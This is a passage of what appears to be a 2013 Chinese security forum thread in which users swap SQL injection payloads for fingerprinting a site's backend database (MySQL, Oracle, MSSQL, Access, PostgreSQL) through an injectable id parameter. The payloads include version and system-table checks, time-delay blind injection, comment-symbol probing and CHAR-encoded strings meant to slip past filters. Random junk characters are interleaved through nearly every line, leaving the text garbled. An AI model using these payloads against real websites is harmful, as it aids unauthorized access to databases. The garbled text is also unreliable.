一个注射点如何最快速确认是什么类型数据库
! T) {" f- g6 r" b) }! P1 m, pxsser (十根阳具有长短!!) | 2013-02-05 12:367 |4 Y* F4 Q8 b
假设这么一个注射点:7 |& }5 ]- ?2 i; W' I+ ]' ^1 M2 r
show.html?id=2
1 d7 X9 J# Q1 mmysql:id=2 and version()>0
7 {" {, H1 Q" K( Coracle:id=2 and '1'||'1'='119 B" u2 J5 R: J2 G8 P/ n" q
其他的欢迎补充8 m! ]+ I) y5 t+ x7 l
1#& v1 ]( v( l! }( e( }) F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47/ ^# E: P6 u' ~* J9 H0 z6 b
Access:
+ j% v! Q. Q/ ]0 U2 q6 T VaNd aSc(cHr(97))=97
+ x8 s* g$ J& m/ I( h3 ~and exists(select id from MSysAccessObjects)$ a" W! v0 `7 v% I4 I# L
SQL Server:
, Q6 C6 m. }. J7 Y# Y- X2 B' \8 X, yand exists(select id from sysobjects)
1 Q4 r M) a4 k& v! ^& Yand length(user)>0
& S" b- G- W7 Q4 ?$ BMySQL:
* c6 p; I I t, ^$ m* N6 Qand length(user())>0: c& D) j% h- n! G' e3 k
2#. F( X$ ^* i! S$ j5 N: {# Q
xsser (十根阳具有长短!!) | 2013-02-05 12:48
, a% G7 Q1 Z2 `6 ^$ d@upload 如果这些都不是呢…
. y- B/ l, Z! ^1 u N3#
% y& M% k; T7 H; J9 e4 C3 Bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:036 [; X3 m0 K) Q4 D7 W4 J1 p! v; A Z8 u
@xsser 不快速的,延时注入2 T M1 [% e2 o D. t ?5 o0 o3 p
不知道这样写对不对$ U; y8 _) L7 b! G6 @* g8 z
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
, X3 u# `$ u4 S" rmysql:id=2 and select benchmark(1e8,current_date());6 v3 e- x! D1 i9 N( u. D
4#
& y0 e! W2 C, l, o! [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10! g( k8 a& u6 E; ^
最快的貌似是看报错信息
% ^4 ]9 q5 m4 O4 y3 M2 J$ Joracle error
$ F" ~; d% d. t2 _6 q# n' U, Q$ wmssql error
- H! `0 A4 E5 O! {mysql error& _0 u8 _ d# f# I, f) ]6 {& b
5#% x9 z. ?/ ~ ?& ]- z0 K1 f" u
Nimda (你们都是坏银~) | 2013-02-05 13:14( {! v, ?2 E! T& C/ o S0 a
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)- V! E8 C5 G* V3 M5 l' m3 h
6#
5 [# S% _6 Q2 ^9 F9 I8 a2 a8 E$ ?1 I" Dupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
' B8 Q: w3 B+ T( }“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:% S( @9 T# q* e
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
1 n# P/ @7 Y1 s1 v; z# @“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
4 N: ?( n& ^4 d! k' k+ d. P7#
' O( C4 W; E/ d0 m/ Z_Evil (HackEnd) | 2013-02-05 13:33
- f. c( m+ @& q; WPostgreSQL) L( @& ~2 t) e9 r) Z) m* e: [
8#
( v" q/ ]1 C# m5 _% C4 I/ B( vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:425 }$ r0 \. R; h q
切换编码 and 1=12 O1 D. N, m G
oracle:
' O$ ]) [0 _/ B! q5 jCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
! j: J2 l' i! q4 hmssql:
* v9 ~, f! W4 R0 r: sCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)! f" |; B! n8 H% }' e+ y
mysql:3 W$ V. B ^8 I, S% }
CHAR(97, 110, 100, 32, 49, 61, 49)+ b+ X- u7 R* |$ B
9#
- {1 S P: Z! Z$ w8 w0 E H+ X: _xsser (十根阳具有长短!!) | 2013-02-05 14:31
( D# u9 B. d5 n8 @/ a8 k1 E* g* y@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?- J8 d& n! e0 w! v% i+ W( N
10#
0 M# o9 s# {: Y- p& P9 \# j" fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
" K/ m1 R# o6 z. h@xsser 是奇葩数据库类型的么?2 y2 o& Z% d0 \% e6 C( O
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
* f. Q9 |+ \/ ]2 W$ ~0 ~1.是否可以使用特定的函数来判断,该数据库特有的
& B4 z. {4 K; B9 n. ~4 k/ z p2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
5 t/ P( D3 B2 j B3.是否可以编码查询
' _4 M! h- J/ ~4.是否显可以利用错信息
# H9 K0 |( C4 b9 z; K5.是否存在数据库某些特性辅助判断. z$ o4 W( D; o1 f
个人见解. s4 z7 ^- o& L" h
11#
9 `: y* `. |4 D( ]9 v" }/ m4 R c小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:554 _: |' J" D: ^! \ [4 u" e5 i
已收藏,mssql可以直接看到错误提示的吧~3 v3 P1 T7 u" k6 t3 r7 a
12#
+ w0 T$ [4 z/ r5 Q# _4 KPasser_by | 2013-02-05 15:091 M) Z: F3 B6 r' H6 X
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
) H* ~. O; y, D6 N4 Xfrom:http://zone.wooyun.org/content/260 |